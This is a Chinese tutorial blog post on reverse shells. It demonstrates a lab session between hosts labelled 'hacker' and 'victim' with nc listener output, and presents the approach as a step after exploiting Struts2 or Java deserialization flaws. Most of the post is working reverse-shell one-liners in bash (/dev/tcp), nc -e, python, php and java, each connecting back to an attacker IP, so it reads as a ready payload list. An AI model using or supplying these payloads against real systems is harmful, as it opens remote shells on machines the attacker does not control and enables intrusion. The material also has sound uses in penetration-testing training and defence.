• 反弹shell


    反弹shell(reverse shell),即控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

    反弹shell原因

    如果我们处于内网,我们可以借助frp进行端口代理,但是目标主机处于内网你就没法正向代理了。目标是windows系统,/bin/bash换成cmd.exe绝对路径即可,当然这个cmd.exe可以是C:WindowsSystem32cmd.exe,亦可以是通过webshell上传的cmd.exe,实战的话后者更多一点。然后还有一种更现实的情况,靶机不会给你提供nc的环境,你也不会那么轻易成功将nc上传至靶机,所以更多的情况需要你就地取材。

    bash环境下的反弹shell,会用于常见一些远程命令执行的漏洞,如strus2漏洞、java反序列化漏洞等,此时权限较低,但具备命令执行的权限,便可以借助当前环境实现nc反弹shell,为进一步提权做准备。

    反弹shell实验

    环境:两台CentOS7.6服务器

    • 攻击端 hacker:10.201.61.194
    • 受害端 victim:10.201.61.195

    1. 攻击端监听一个端口:

    [root@hacker ~]# nc -lvp 6767
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::6767
    Ncat: Listening on 0.0.0.0:6767

    2.受害端生成一个反弹shell:

    [root@victim ~]# bash -i >& /dev/tcp/10.201.61.194/6767 0>&1

    3.攻击端已获取到受害端的bash:

    [root@hacker ~]# nc -lvp 6767
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::6767
    Ncat: Listening on 0.0.0.0:6767
    Ncat: Connection from 10.201.61.195.
    Ncat: Connection from 10.201.61.195:46836.
    [root@victim ~]#         //攻击端已获得受害端的远程交互式shell
    [root@victim ~]# hostname
    hostname
    victim
    

    解释:

    1. nc -lvp 6767

    -l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

    2. bash -i

    -i interactive。即产生一个交互式的shell(bash)。

    3. /dev/tcp/IP/PORT

    特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

     
    #bash版本:
    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
    
    #nc版本:
    nc -e /bin/sh 10.0.0.1 1234
    
    #python版本:
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    #php版本:
    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
    
    
    #java版本
    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
    p.waitFor()
    

      

    相关参考:https://www.jianshu.com/p/5b73a607e2ea

    https://zhuanlan.zhihu.com/p/138393396

  • 相关阅读:
    运行ConnectionDemo时遇到的问题及解决方案
    xampp启动MySQL出现Error: MySQL shutdown unexpectedly.
    20175227张雪莹 2018-2019-2 《Java程序设计》第八周学习总结
    KMS
    MAC 添加共享,脚本执行
    zabbix企业应用之windows系统安装omsa硬件监控
    SCCM大致安装过程,参考前辈教程完成部署
    MAC加域重复跳出---"talagent"想使用“本地项目” 的钥匙串
    CentOS Linux解决 Device eth0 does not seem to be present
    zabbix3.0.4 部署History
  • 原文地址:https://www.cnblogs.com/huaiguang10/p/14976084.html
Copyright © 2020-2023  润新知